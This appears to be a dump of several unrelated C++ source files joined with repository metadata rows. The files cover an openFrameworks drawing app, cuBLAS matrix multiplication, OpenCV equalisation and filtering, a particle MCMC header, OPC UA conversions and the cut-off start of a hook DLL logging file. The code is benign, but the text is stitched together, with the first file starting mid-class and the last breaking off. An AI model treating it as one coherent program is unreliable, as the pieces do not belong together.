//--------------------------------------------------------------
// draw image or fbo etc with border and label
// typename T must have draw(x,y), isAllocated(), getWidth(), getHeight()
template <typename T>
bool drawImage(const T& img, string label) {
if(img.isAllocated()) {
ofSetColor(255);
ofFill();
img.draw(0, 0);
// draw border
ofNoFill();
ofSetColor(200);
ofSetLineWidth(1);
ofDrawRectangle(0, 0, img.getWidth(), img.getHeight());
// draw label
ofDrawBitmapString(label, 10, img.getHeight()+15);
ofTranslate(img.getWidth(), 0);
return true;
}
return false;
}
//--------------------------------------------------------------
void draw() {
// read from fbo into img_in
fbo.readToPixels(img_in.getPixels());
// img_in.update(); // update so we can draw if need be (useful for debuging)
// run model on it
if(do_auto_run)
model.run_image_to_image(img_in, img_out, input_range, output_range);
// DISPLAY STUFF
stringstream str;
str << ofGetFrameRate() << endl;
str << endl;
str << "ENTER : toggle auto run " << (do_auto_run ? "(X)" : "( )") << endl;
str << "DEL : clear drawing " << endl;
str << "d : toggle draw mode " << (draw_mode==0 ? "(draw)" : "(boxes)") << endl;
str << "[/] : change draw radius (" << draw_radius << ")" << endl;
str << "z/x : change draw color " << endl;
str << "i : get color from mouse" << endl;
str << endl;
str << "draw in the box on the left" << endl;
str << "or drag an image (PNG) into it" << endl;
str << endl;
str << "Press number key to load model: " << endl;
for(int i=0; i<models_dir.size(); i++) {
auto marker = (i==cur_model_index) ? ">" : " ";
str << " " << (i+1) << " : " << marker << " " << models_dir.getName(i) << endl;
}
ofPushMatrix();
{
if(!drawImage(fbo, "fbo (draw in here)") ) str << "fbo not allocated !!" << endl;
// if(!drawImage(img_in, "img_in") ) str << "img_in not allocated !!" << endl; // just to check fbo is reading correctly
if(!drawImage(img_out, "img_out") ) str << "img_out not allocated !!" << endl;
ofTranslate(20, 0);
// draw texts
ofSetColor(150);
ofDrawBitmapString(str.str(), 0, 20);
}
ofPopMatrix();
// draw colors
ofFill();
int x=0;
int y=fbo.getHeight() + 30;
// draw current color
ofSetColor(draw_color);
ofDrawCircle(x+palette_draw_size/2, y+palette_draw_size/2, palette_draw_size/2);
ofSetColor(200);
ofDrawBitmapString("current draw color (change with z/x keys)", x+palette_draw_size+10, y+palette_draw_size/2);
y += palette_draw_size + 10;
// draw color palette
for(int i=0; i<colors.size(); i++) {
ofSetColor(colors[i]);
ofDrawCircle(x + palette_draw_size/2, y + palette_draw_size/2, palette_draw_size/2);
// draw outline if selected color
if(colors[i] == draw_color) {
ofPushStyle();
ofNoFill();
ofSetColor(255);
ofSetLineWidth(3);
ofDrawRectangle(x, y, palette_draw_size, palette_draw_size);
ofPopStyle();
}
x += palette_draw_size;
// wrap around if doesn't fit on screen
if(x > ofGetWidth() - palette_draw_size) {
x = 0;
y += palette_draw_size;
}
}
// display drawing helpers
ofNoFill();
switch(draw_mode) {
case 0:
ofSetLineWidth(3);
ofSetColor(ofColor::black);
ofDrawCircle(ofGetMouseX(), ofGetMouseY(), draw_radius+1);
ofSetLineWidth(3);
ofSetColor(draw_color);
ofDrawCircle(ofGetMouseX(), ofGetMouseY(), draw_radius);
break;
case 1:
if(ofGetMousePressed(0)) {
ofSetLineWidth(3);
ofSetColor(ofColor::black);
ofDrawRectangle(mousePressPos.x-1, mousePressPos.y-1, ofGetMouseX()-mousePressPos.x+3, ofGetMouseY()-mousePressPos.y+3);
ofSetLineWidth(3);
ofSetColor(draw_color);
ofDrawRectangle(mousePressPos.x, mousePressPos.y, ofGetMouseX()-mousePressPos.x, ofGetMouseY()-mousePressPos.y);
}
}
}
//--------------------------------------------------------------
void keyPressed(int key) {
switch(key) {
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
load_model_index(key-'1');
break;
case 'd':
case 'D':
draw_mode = 1 - draw_mode;
break;
case '[':
if(draw_radius > 0) draw_radius--;
break;
case ']':
draw_radius++;
break;
case 'z':
draw_color_index--;
if(draw_color_index < 0) draw_color_index += colors.size(); // wrap around
draw_color = colors[draw_color_index];
break;
case 'x':
draw_color_index++;
if(draw_color_index >= colors.size()) draw_color_index -= colors.size(); // wrap around
draw_color = colors[draw_color_index];
break;
case 'i':
case 'I':
if(ofGetMouseX() < fbo.getWidth() && ofGetMouseY() < fbo.getHeight()) {
draw_color = img_in.getColor(ofGetMouseX(), ofGetMouseY());
}
break;
case OF_KEY_DEL:
case OF_KEY_BACKSPACE:
fbo.begin();
ofClear(0);
fbo.end();
break;
case OF_KEY_RETURN:
do_auto_run ^= true;
break;
}
}
//--------------------------------------------------------------
void mouseDragged( int x, int y, int button) {
switch(draw_mode) {
case 0: // draw
fbo.begin();
ofSetColor(draw_color);
ofFill();
if(draw_radius>0) {
ofDrawCircle(x, y, draw_radius);
ofSetLineWidth(draw_radius*2);
} else {
ofSetLineWidth(0.1f);
}
ofDrawLine(x, y, ofGetPreviousMouseX(), ofGetPreviousMouseY());
fbo.end();
break;
case 1: // draw boxes
break;
}
}
//--------------------------------------------------------------
void mousePressed( int x, int y, int button) {
mousePressPos = ofVec2f(x, y);
mouseDragged(x, y, button);
}
//--------------------------------------------------------------
virtual void mouseReleased(int x, int y, int button) {
switch(draw_mode) {
case 0: // draw
break;
case 1: // boxes
fbo.begin();
ofSetColor(draw_color);
ofFill();
ofDrawRectangle(mousePressPos.x, mousePressPos.y, x-mousePressPos.x, y-mousePressPos.y);
fbo.end();
break;
}
}
//--------------------------------------------------------------
void dragEvent(ofDragInfo dragInfo) {
if(dragInfo.files.empty()) return;
string file_path = dragInfo.files[0];
// only PNGs work for some reason when Tensorflow is linked in
ofImage img;
img.load(file_path);
if(img.isAllocated()) {
fbo.begin();
ofSetColor(255);
img.draw(0, 0, fbo.getWidth(), fbo.getHeight());
fbo.end();
}
}
};
//========================================================================
int main() {
ofSetupOpenGL(800, 450, OF_WINDOW);
ofRunApp(new ofApp());
}
| 33.892857 | 153 | 0.532205 | marcel303 |
862cc233b4dd498bdace193c9ae8429601c0efc4 | 3,425 | cpp | C++ | src/driver/denoiser/cublas.cpp | Skel0t/rodent | adb7df7d80e4b9c6f2fa3867b2e3eb2539f2ca12 | [
"MIT"
] | 1 | 2021-08-19T15:21:32.000Z | 2021-08-19T15:21:32.000Z | src/driver/denoiser/cublas.cpp | Skel0t/rodent | adb7df7d80e4b9c6f2fa3867b2e3eb2539f2ca12 | [
"MIT"
] | null | null | null | src/driver/denoiser/cublas.cpp | Skel0t/rodent | adb7df7d80e4b9c6f2fa3867b2e3eb2539f2ca12 | [
"MIT"
] | null | null | null | #include <cublas_v2.h>
#include <cublasLt.h>
#include <cuda_runtime.h>
extern "C" {
/* cublaslt supports row-major matrix multiplication. */
void cublaslt_S_gemm(const float* d_A, const float* d_B, float* d_C, int a_width, int a_height, int b_width, int device) {
cudaSetDevice(device);
cublasHandle_t handle;
cublasCreate(&handle);
cublasLtHandle_t handlelt = (cublasLtHandle_t) handle;
cublasLtMatmulDesc_t descriptor;
cublasLtMatrixLayout_t a_layout;
cublasLtMatrixLayout_t b_layout;
cublasLtMatrixLayout_t c_layout;
cublasLtMatrixLayoutCreate(&a_layout, CUDA_R_32F, a_height, a_width, a_width);
cublasLtMatrixLayoutCreate(&b_layout, CUDA_R_32F, a_width, b_width, b_width);
cublasLtMatrixLayoutCreate(&c_layout, CUDA_R_32F, a_height, b_width, b_width);
cublasLtMatmulDescCreate(&descriptor, CUBLAS_COMPUTE_32F, CUDA_R_32F);
// Matrices are row-major
cublasLtOrder_t rowOrder = CUBLASLT_ORDER_ROW;
cublasLtMatrixLayoutSetAttribute( a_layout, CUBLASLT_MATRIX_LAYOUT_ORDER, &rowOrder, sizeof( rowOrder ) );
cublasLtMatrixLayoutSetAttribute( b_layout, CUBLASLT_MATRIX_LAYOUT_ORDER, &rowOrder, sizeof( rowOrder ) );
cublasLtMatrixLayoutSetAttribute( c_layout, CUBLASLT_MATRIX_LAYOUT_ORDER, &rowOrder, sizeof( rowOrder ) );
float a = 1.f, b = 0.f;
cublasLtMatmul(handlelt,
descriptor, // description
&a, // alpha
d_A, // pointer to a
a_layout, // a description
d_B, // pointer to b
b_layout, // b description
&b, // beta
d_C, // C pointer
c_layout, // C layout
d_C, // D pointer
c_layout, // D layout
NULL, // matmul algorithm, NULL = take one heuristically
nullptr, // workspace*
0, // workspaceSize
nullptr); // stream
cublasDestroy(handle);
}
/* Use identity (AB)^t = B^t A^t = C^t and that transposing only changes
interpretation from row-major to column-major and vice versa.
Necessary since cublas expects column-major while we use row-major. */
void cublas_S_gemm(float* d_A, float* d_B, float* d_C, int a_width, int a_height, int b_width, int device) {
cudaSetDevice(device);
cublasHandle_t handle;
cublasCreate(&handle);
float a = 1.f, b = 0.f;
cublasSgemm(handle,
CUBLAS_OP_N, // no transpose
CUBLAS_OP_N, // no transpose
b_width, // rows of b'
a_height, // cols of a'
a_width, // cols of b'
&a, // alpha
d_B, // B^T left matrix
b_width, // b col first
d_A, // A^T right matrix
a_width, // a col first
&b, // beta
d_C, // C
b_width); // c col first
cublasDestroy(handle);
}
}
| 42.283951 | 126 | 0.531095 | Skel0t |
862e02da65b63560136d7e691285e103424e7879 | 441 | cpp | C++ | Cpp-Snippets-09-sharedptr/main.cpp | LU-JIANGZHOU/Cpp-Snippets | 0b2e1ca26a0ffd79e25922c9d92104882cd415bd | [
"MIT"
] | null | null | null | Cpp-Snippets-09-sharedptr/main.cpp | LU-JIANGZHOU/Cpp-Snippets | 0b2e1ca26a0ffd79e25922c9d92104882cd415bd | [
"MIT"
] | null | null | null | Cpp-Snippets-09-sharedptr/main.cpp | LU-JIANGZHOU/Cpp-Snippets | 0b2e1ca26a0ffd79e25922c9d92104882cd415bd | [
"MIT"
] | null | null | null | #include <iostream>
#include <memory>
using namespace std;
struct myBase
{
myBase() { cout << " myBase::myBase()\n"; }
~myBase() { cout << " myBase::~myBase()\n"; }
};
struct myDerived: public myBase
{
myDerived() { cout << " myDerived::myDerived()\n"; }
~myDerived() { cout << " myDerived::~myDerived()\n"; }
};
int main()
{
shared_ptr<myBase> sharedPtr = make_shared<myDerived>();
return EXIT_SUCCESS;
};
| 20.045455 | 60 | 0.598639 | LU-JIANGZHOU |
862e67cce956bdbf53de351457dbaa96d8846abb | 6,005 | cpp | C++ | src/homework_3.cpp | frankplus/Computer-Vision | f04c2bf2320fe8173f56dca2e92f810f68e6333e | [
"MIT"
] | 2 | 2020-07-10T10:37:06.000Z | 2020-07-10T11:14:22.000Z | src/homework_3.cpp | frankplus/Computer-Vision | f04c2bf2320fe8173f56dca2e92f810f68e6333e | [
"MIT"
] | null | null | null | src/homework_3.cpp | frankplus/Computer-Vision | f04c2bf2320fe8173f56dca2e92f810f68e6333e | [
"MIT"
] | null | null | null | #include "homework_3.h"
#include "utils.h"
#include "filter.h"
#include <iostream>
#include <opencv2/highgui.hpp>
#include <opencv2/imgproc.hpp>
#include <opencv2/core.hpp>
#include <opencv2/calib3d.hpp>
#include <string>
#include <vector>
using namespace std;
using namespace cv;
/**
* Generate histograms for the three channels of an image
* @param img_channels Vector of 3 image channels
* @param winname Name of the window
*/
void generate_show_histograms(vector<Mat> img_channels, string winname) {
int histSize = 256;
float range[] = { 0, 256 };
const float* histRange = { range };
Mat b_hist, g_hist, r_hist;
calcHist( &img_channels[0], 1, 0, Mat(), b_hist, 1, &histSize, &histRange);
calcHist( &img_channels[1], 1, 0, Mat(), g_hist, 1, &histSize, &histRange);
calcHist( &img_channels[2], 1, 0, Mat(), r_hist, 1, &histSize, &histRange);
vector<Mat> hists{b_hist, g_hist, r_hist};
show_histogram(hists, winname);
}
enum FilterType { MEDIAN, GAUSSIAN, BILATERAL };
struct FilterParams
{
FilterType type;
Filter *filter;
string window_name;
int filter_size;
int sigma1;
int sigma2;
};
static void on_trackbar_change(int, void *params) {
FilterParams *filter_params = static_cast<FilterParams*>(params);
Filter *filter = filter_params->filter;
switch (filter_params->type) {
case MEDIAN: {
filter->setSize(filter_params->filter_size);
break;
}
case GAUSSIAN: {
GaussianFilter *gaussian_filter = dynamic_cast<GaussianFilter*>(filter);
gaussian_filter->setSize(filter_params->filter_size);
gaussian_filter->setSigma(filter_params->sigma1);
break;
}
case BILATERAL: {
BilateralFilter *bilateral_filter = dynamic_cast<BilateralFilter*>(filter);
bilateral_filter->setSigmaRange(filter_params->sigma1);
bilateral_filter->setSigmaSpace(filter_params->sigma2);
break;
}
}
// apply filter and show result
filter->doFilter();
imshow(filter_params->window_name, filter->getResult());
}
/**
* Run part 1 of homework 3 which involves histogram equalization.
* The image given as parameter is equalized in RGB space first and then in HSV space,
* showing the results of both operations. The equalized image in HSV space will be returned.
* @param input_img The image to be equalized
* @return The equalized image
*/
Mat part_1_equalize(Mat input_img) {
// 2. Prints the histograms of the image
vector<Mat> img_channels;
split(input_img, img_channels);
generate_show_histograms(img_channels, "input");
// 3. Equalizes the R,G and B channels
equalizeHist(img_channels[0], img_channels[0]);
equalizeHist(img_channels[1], img_channels[1]);
equalizeHist(img_channels[2], img_channels[2]);
// 4. Shows the equalized image and the histogram of its channels.
generate_show_histograms(img_channels, "equalized");
Mat equalized_img;
merge(img_channels, equalized_img);
imshow("equalized image", equalized_img);
// 5. Convert to HSV color space
Mat hsv;
cvtColor(input_img, hsv, COLOR_BGR2HSV);
split(hsv, img_channels);
// Equalizing only on Value channel which seems to be the best choice. And show histogram.
int equalize_channel = 2;
equalizeHist(img_channels[equalize_channel], img_channels[equalize_channel]);
generate_show_histograms(img_channels, "hsv equalized");
// Switch back to the RGB color space and visualize the resulting image
merge(img_channels, equalized_img);
cvtColor(equalized_img, equalized_img, COLOR_HSV2BGR);
imshow("equalized hsv image", equalized_img);
return equalized_img;
}
/**
* Run part 2 of homework 3 which involves image filtering.
* The image given as input will be filtered with three different filtering methods.
* The results are shown with the corresponding trackbars to change the filtering parameters
* @param input_img The image to be filtered
*/
void part_2_filtering(Mat input_img) {
// Create windows
namedWindow("median filter");
namedWindow("gaussian filter");
namedWindow("bilateral filter");
// Initialize filters
MedianFilter median_filter(input_img, 1);
FilterParams median_params = { MEDIAN, &median_filter, "median filter", 8};
GaussianFilter gaussian_filter(input_img, 1);
FilterParams gaussian_params = { GAUSSIAN, &gaussian_filter, "gaussian filter", 8, 25};
BilateralFilter bilateral_filter(input_img, 1);
FilterParams bilateral_params = { BILATERAL, &bilateral_filter, "bilateral filter", 8, 75, 75};
// Add parameters trackbars to windows
createTrackbar("kernel size", "median filter", &median_params.filter_size, 16, on_trackbar_change, (void*)&median_params);
createTrackbar("kernel size", "gaussian filter", &gaussian_params.filter_size, 16, on_trackbar_change, (void*)&gaussian_params);
createTrackbar("sigma", "gaussian filter", &gaussian_params.sigma1, 200, on_trackbar_change, (void*)&gaussian_params);
createTrackbar("sigma range", "bilateral filter", &bilateral_params.sigma1, 200, on_trackbar_change, (void*)&bilateral_params);
createTrackbar("sigma space", "bilateral filter", &bilateral_params.sigma2, 200, on_trackbar_change, (void*)&bilateral_params);
on_trackbar_change(0, &median_params);
on_trackbar_change(0, &gaussian_params);
on_trackbar_change(0, &bilateral_params);
waitKey(0);
}
void main_homework_3() {
string path;
cout << "Type input image path (empty input loads 'data/lab3/image.jpg'): ";
getline(cin, path);
if (path.empty()) {
path = "data/lab3/image.jpg";
}
Mat input_img = imread(path);
imshow("input image", input_img);
Mat equalized = part_1_equalize(input_img);
cout << "Press any key to start part 2" << endl;
waitKey(0);
destroyAllWindows();
part_2_filtering(equalized);
} | 34.511494 | 132 | 0.702914 | frankplus |
8630b6c29bba3b682a3e450b591bdbe302c909be | 5,230 | hpp | C++ | include/mckl/algorithm/pmcmc.hpp | zhouyan/MCKL | 1d03eb5a879e47e268efc73b1d433611e64307b3 | [
"BSD-2-Clause"
] | 12 | 2016-08-02T17:01:13.000Z | 2021-03-04T12:11:33.000Z | include/mckl/algorithm/pmcmc.hpp | zhouyan/MCKL | 1d03eb5a879e47e268efc73b1d433611e64307b3 | [
"BSD-2-Clause"
] | 5 | 2017-05-09T12:05:06.000Z | 2021-03-16T10:39:23.000Z | include/mckl/algorithm/pmcmc.hpp | zhouyan/MCKL | 1d03eb5a879e47e268efc73b1d433611e64307b3 | [
"BSD-2-Clause"
] | 2 | 2016-08-25T13:10:29.000Z | 2019-05-01T01:54:29.000Z | //============================================================================
// MCKL/include/mckl/algorithm/pmcmc.hpp
//----------------------------------------------------------------------------
// MCKL: Monte Carlo Kernel Library
//----------------------------------------------------------------------------
// Copyright (c) 2013-2018, Yan Zhou
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//============================================================================
#ifndef MCKL_ALGORITHM_PMCMC_HPP
#define MCKL_ALGORITHM_PMCMC_HPP
#include <mckl/internal/common.hpp>
#include <mckl/algorithm/mcmc.hpp>
#include <mckl/algorithm/smc.hpp>
#include <mckl/core/state_matrix.hpp>
#include <mckl/random/rng.hpp>
MCKL_PUSH_CLANG_WARNING("-Wpadded")
namespace mckl {
template <typename Param, MatrixLayout Layout, typename T, std::size_t Dim = 0>
class PMCMCStateMatrix : public StateMatrix<Layout, T, Dim>
{
public:
using param_type = Param;
using StateMatrix<Layout, T, Dim>::StateMatrix;
double log_nc() const { return log_nc_; }
void add_log_nc(double nc) { log_nc_ += nc; }
const param_type ¶m() { return param_; }
void reset(const param_type &p, double nc = 0)
{
param_ = p;
log_nc_ = nc;
}
private:
param_type param_;
double log_nc_;
}; // class PMCMCStateMatrix
/// \brief Particle Markov chain Monte Carlo mutation
/// \ingroup PMCMC
template <typename Param, typename T, typename U = double>
class PMCMCMutation
{
public:
using param_type = Param;
using state_type = T;
using size_type = typename Particle<T>::size_type;
using eval_type =
std::function<double(typename Particle<T>::rng_type &, param_type &)>;
using prior_type = std::function<double(const param_type &)>;
using pf_type = SMCSampler<T, U>;
template <typename Prior, typename... Args>
PMCMCMutation(std::size_t N, std::size_t M, Prior &&prior, Args &&... args)
: M_(M), prior_(prior), pf_(N, std::forward<Args>(args)...)
{
}
void reset()
{
eval_.clear();
pf_.reset();
}
pf_type &pf() { return pf_; }
pf_type &pf() const { return pf_; }
PMCMCMutation<Param, T, U> clone() const
{
PMCMCMutation<Param, T, U> mutation(*this);
mutation.pf_.particle().rng_set().reset();
mutation.pf_.particle().rng().seed(
Seed<typename Particle<T>::rng_type>::instance().get());
return mutation;
}
template <typename Prior>
void prior(Prior &&prior)
{
prior_ = std::forward<Prior>(prior);
}
/// \brief Add a new evaluation object for the update step
template <typename Eval>
std::size_t update(Eval &&eval)
{
eval_.push_back(std::forward<Eval>(eval));
return eval_.size() - 1;
}
std::size_t operator()(std::size_t iter, param_type ¶m)
{
if (iter == 0) {
pf_.clear();
pf_.particle().state().reset(param, 0);
pf_.iterate(M_);
return 0;
}
const double lnc = pf_.particle().state().log_nc();
double prob = -prior_(param) - lnc;
param_type p(param);
for (auto &eval : eval_) {
prob += eval(pf_.particle().rng(), p);
}
prob += prior_(p);
pf_.clear();
pf_.particle().state().reset(p, 0);
pf_.iterate(M_);
prob += pf_.particle().state().log_nc();
mckl::U01Distribution<double> u01;
double u = std::log(u01(pf_.particle().rng()));
if (u < prob) {
param = std::move(p);
} else {
pf_.particle().state().reset(param, lnc);
}
return u < prob ? 1 : 0;
}
private:
std::size_t M_;
prior_type prior_;
pf_type pf_;
Vector<eval_type> eval_;
}; // class PMCMCMutation
} // namespace mckl
MCKL_POP_CLANG_WARNING
#endif // MCKL_ALGORITHM_PMCMC_HPP
| 30.406977 | 79 | 0.609751 | zhouyan |
8632fce14439b4ec0bc65b9e066f77f71f17bd95 | 8,012 | cpp | C++ | sugus/detail/Conversion.cpp | tiropp/sugus | 21b25bd74abdae0b421613ad5ecae57d8c5869a1 | [
"MIT"
] | 1 | 2018-03-23T08:51:11.000Z | 2018-03-23T08:51:11.000Z | sugus/detail/Conversion.cpp | tiropp/sugus | 21b25bd74abdae0b421613ad5ecae57d8c5869a1 | [
"MIT"
] | null | null | null | sugus/detail/Conversion.cpp | tiropp/sugus | 21b25bd74abdae0b421613ad5ecae57d8c5869a1 | [
"MIT"
] | null | null | null | #include "Conversion.h"
// BOOST includes
#include <boost/foreach.hpp>
// OpcUa includes
#include <opcua_guid.h>
// Sugus includes
#include <sugus/Exceptions.h>
#include <sugus/EndpointContainer.h>
#include <sugus/Value.h>
#include <sugus/detail/EndpointContainer.h>
namespace Sugus {
namespace detail {
String
ToString(SecurityPolicy secPolicy)
{
switch( secPolicy ) {
case SecurityPolicy::None: return OpcUa_SecurityPolicy_None;
case SecurityPolicy::Basic128Rsa15: return OpcUa_SecurityPolicy_Basic128Rsa15;
case SecurityPolicy::Basic256: return OpcUa_SecurityPolicy_Basic256;
case SecurityPolicy::Basic256Sha256: return OpcUa_SecurityPolicy_Basic256Sha256;
default: throw InvalidSecurityPolicy();
}
}
std::string
ToString(const OpcUa_String& string)
{
std::string result;
const char* p = OpcUa_String_GetRawString( &string );
if( p )
result.assign( p );
return result;
}
MessageSecurityMode
ToSecurityMode(OpcUa_MessageSecurityMode mode)
{
switch( mode ) {
case OpcUa_MessageSecurityMode_Invalid: return MessageSecurityMode::Invalid;
case OpcUa_MessageSecurityMode_None: return MessageSecurityMode::None;
case OpcUa_MessageSecurityMode_Sign: return MessageSecurityMode::Sign;
case OpcUa_MessageSecurityMode_SignAndEncrypt: return MessageSecurityMode::SignAndEncrypt;
default: throw InvalidMessageSecurityMode();
}
}
OpcUa_MessageSecurityMode
ToSecurityMode(MessageSecurityMode mode)
{
switch( mode ) {
case MessageSecurityMode::Invalid: return OpcUa_MessageSecurityMode_Invalid;
case MessageSecurityMode::None: return OpcUa_MessageSecurityMode_None;
case MessageSecurityMode::Sign: return OpcUa_MessageSecurityMode_Sign;
case MessageSecurityMode::SignAndEncrypt: return OpcUa_MessageSecurityMode_SignAndEncrypt;
default: throw InvalidMessageSecurityMode();
}
}
Sugus::EndpointContainer
ToEndpointContainer(const Sugus::detail::EndpointContainer& in)
{
Sugus::EndpointContainer out;
BOOST_FOREACH(const Endpoint& ep, in)
out.Add( ep );
return out;
}
ApplicationType
ToApplicationType(OpcUa_ApplicationType type)
{
switch( type ) {
case OpcUa_ApplicationType_Server: return ApplicationType::Server;
case OpcUa_ApplicationType_Client: return ApplicationType::Client;
case OpcUa_ApplicationType_ClientAndServer: return ApplicationType::ClientAndServer;
case OpcUa_ApplicationType_DiscoveryServer: return ApplicationType::DiscoveryServer;
default: throw InvalidApplicationType();
}
}
ApplicationDescription
ToApplicationDescription(const OpcUa_ApplicationDescription& in)
{
Sugus::ApplicationDescription out;
out.applicationUri = ToString (in.ApplicationUri);
out.productUri = ToString (in.ProductUri);
out.applicationName = ToString (in.ApplicationName.Text);
out.applicationType = ToApplicationType(in.ApplicationType);
out.gatewayServerUri = ToString (in.GatewayServerUri);
out.discoveryProfileUri = ToString (in.DiscoveryProfileUri);
for(int i=0; i<in.NoOfDiscoveryUrls; ++i)
out.discoveryUrls.push_back( ToString(in.DiscoveryUrls[i]) );
return out;
}
Data
ToData(const OpcUa_ByteString& data)
{
Data result;
if( !data.Length || (data.Length==-1) )
return result;
result.resize( data.Length );
std::copy(data.Data, data.Data+data.Length, result.begin());
return result;
}
UserTokenPolicyContainer
ToUserTokenPolicyContainer(OpcUa_UserTokenPolicy* policies, int size)
{
UserTokenPolicyContainer result;
for(int i=0; i<size; ++i)
result.push_back( ToUserTokenPolicy(policies[i]) );
return result;
}
UserTokenPolicy
ToUserTokenPolicy(const OpcUa_UserTokenPolicy& policy)
{
UserTokenPolicy result;
result.policyId = ToString (policy.PolicyId);
result.tokenType = ToUserTokenType(policy.TokenType);
result.issuedTokenType = ToString (policy.IssuedTokenType);
result.issuerEndpointUrl = ToString (policy.IssuerEndpointUrl);
result.securityPolicyUri = ToString (policy.SecurityPolicyUri);
return result;
}
UserTokenType
ToUserTokenType(OpcUa_UserTokenType type)
{
switch( type ) {
case OpcUa_UserTokenType_Anonymous: return UserTokenType::Anonymous;
case OpcUa_UserTokenType_UserName: return UserTokenType::UserName;
case OpcUa_UserTokenType_Certificate: return UserTokenType::Certificate;
case OpcUa_UserTokenType_IssuedToken: return UserTokenType::IssuedToken;
default: throw InvalidUserTokenType();
}
}
uint64_t
ToUint64(const OpcUa_DateTime& dt)
{
uint64_t result = dt.dwHighDateTime;
result <<=32;
result += dt.dwLowDateTime;
return result;
}
Data
ToData(const OpcUa_Guid& guid)
{
char g[OPCUA_GUID_LEXICAL_LENGTH];
OpcUa_Guid_ToStringA(const_cast<OpcUa_Guid*>(&guid), g);
Data data;
data.assign(g, g+OPCUA_GUID_LEXICAL_LENGTH);
return data;
}
namespace {
template <typename T>
Data
ToData(T& value)
{
Data data;
data.assign((uint8_t*)&value, (uint8_t*)(&value+1));
return data;
}
} // End unnamed namespace
Value
ToValue(const OpcUa_DataValue& value)
{
Value result;
result.statusCode = value.StatusCode;
result.sourceTimestamp = ToUint64(value.SourceTimestamp);
result.serverTimestamp = ToUint64(value.ServerTimestamp);
result.sourcePicoseconds = value.SourcePicoseconds;
result.serverPicoseconds = value.ServerPicoseconds;
const OpcUa_VariantUnion& v = value.Value.Value;
switch( value.Value.Datatype ) {
case OpcUaType_Null:
break;
case OpcUaType_Boolean:
result.data.push_back(v.Boolean);
break;
case OpcUaType_SByte:
result.data.push_back(v.SByte);
break;
case OpcUaType_Byte:
result.data.push_back(v.Byte);
break;
case OpcUaType_Int16:
result.data = ToData(v.Int16);
break;
case OpcUaType_UInt16:
result.data = ToData(v.UInt16);
break;
case OpcUaType_Int32:
result.data = ToData(v.Int32);
break;
case OpcUaType_UInt32:
result.data = ToData(v.UInt32);
break;
case OpcUaType_Int64:
result.data = ToData(v.Int64);
break;
case OpcUaType_UInt64:
result.data = ToData(v.UInt64);
break;
case OpcUaType_Float:
result.data = ToData(v.Float);
break;
case OpcUaType_Double:
result.data = ToData(v.Double);
break;
case OpcUaType_String:
{
String s(v.String);
const std::string& ss = s.Str();
result.data.assign(ss.begin(), ss.end());
break;
}
case OpcUaType_DateTime:
{
uint64_t dt = ToUint64(v.DateTime);
result.data = ToData( dt );
break;
}
case OpcUaType_Guid:
result.data = ToData(v.Guid);
break;
case OpcUaType_ByteString:
result.data = ToData( v.ByteString );
break;
case OpcUaType_XmlElement:
result.data = ToData( v.XmlElement );
break;
case OpcUaType_NodeId:
// not supported
break;
case OpcUaType_ExpandedNodeId:
// not supported
break;
case OpcUaType_StatusCode:
result.data = ToData(v.StatusCode);
break;
case OpcUaType_QualifiedName:
// not supported
break;
case OpcUaType_LocalizedText:
// not supported
break;
case OpcUaType_ExtensionObject:
// not supported
break;
case OpcUaType_DataValue:
// not supported
break;
case OpcUaType_Variant:
// not supported
break;
case OpcUaType_DiagnosticInfo:
// not supported
break;
}
return result;
}
} // End namespace detail
} // End namespace Sugus
| 28.310954 | 94 | 0.68647 | tiropp |
8636bb9734559286a9631f649a9eef8dbbc07f16 | 262 | cpp | C++ | 17/if_switch_init/if_init.cpp | odiubankov/cpp_examples | 4107315778aebfc9c397fea0524a1ab6565abfde | [
"MIT"
] | null | null | null | 17/if_switch_init/if_init.cpp | odiubankov/cpp_examples | 4107315778aebfc9c397fea0524a1ab6565abfde | [
"MIT"
] | null | null | null | 17/if_switch_init/if_init.cpp | odiubankov/cpp_examples | 4107315778aebfc9c397fea0524a1ab6565abfde | [
"MIT"
] | null | null | null | #include "gtest/gtest.h"
bool true_case() { return true; }
TEST(if_init, test) {
bool bar = true;
if (const auto foo = true_case(); foo) {
bar = false;
} else {
bar = foo;
}
const auto foo = false;
ASSERT_FALSE(bar);
ASSERT_FALSE(foo);
}
| 16.375 | 42 | 0.603053 | odiubankov |
863979125d319560e2587911ed9ba15e982c97d7 | 2,308 | cpp | C++ | HookDll/Hook/HookLog.cpp | 211847750/iagd | 051635e3bf1b26d27315f19ae3a63e33a6f67f37 | [
"MIT"
] | null | null | null | HookDll/Hook/HookLog.cpp | 211847750/iagd | 051635e3bf1b26d27315f19ae3a63e33a6f67f37 | [
"MIT"
] | null | null | null | HookDll/Hook/HookLog.cpp | 211847750/iagd | 051635e3bf1b26d27315f19ae3a63e33a6f67f37 | [
"MIT"
] | null | null | null | #include "StdAfx.h"
#include "HookLog.h"
#include <filesystem>
#include <iostream>
#include <windows.h>
#include <shlobj.h>
std::wstring GetIagdFolder() {
PWSTR path_tmp;
auto get_folder_path_ret = SHGetKnownFolderPath(FOLDERID_RoamingAppData, 0, nullptr, &path_tmp);
if (get_folder_path_ret != S_OK) {
CoTaskMemFree(path_tmp);
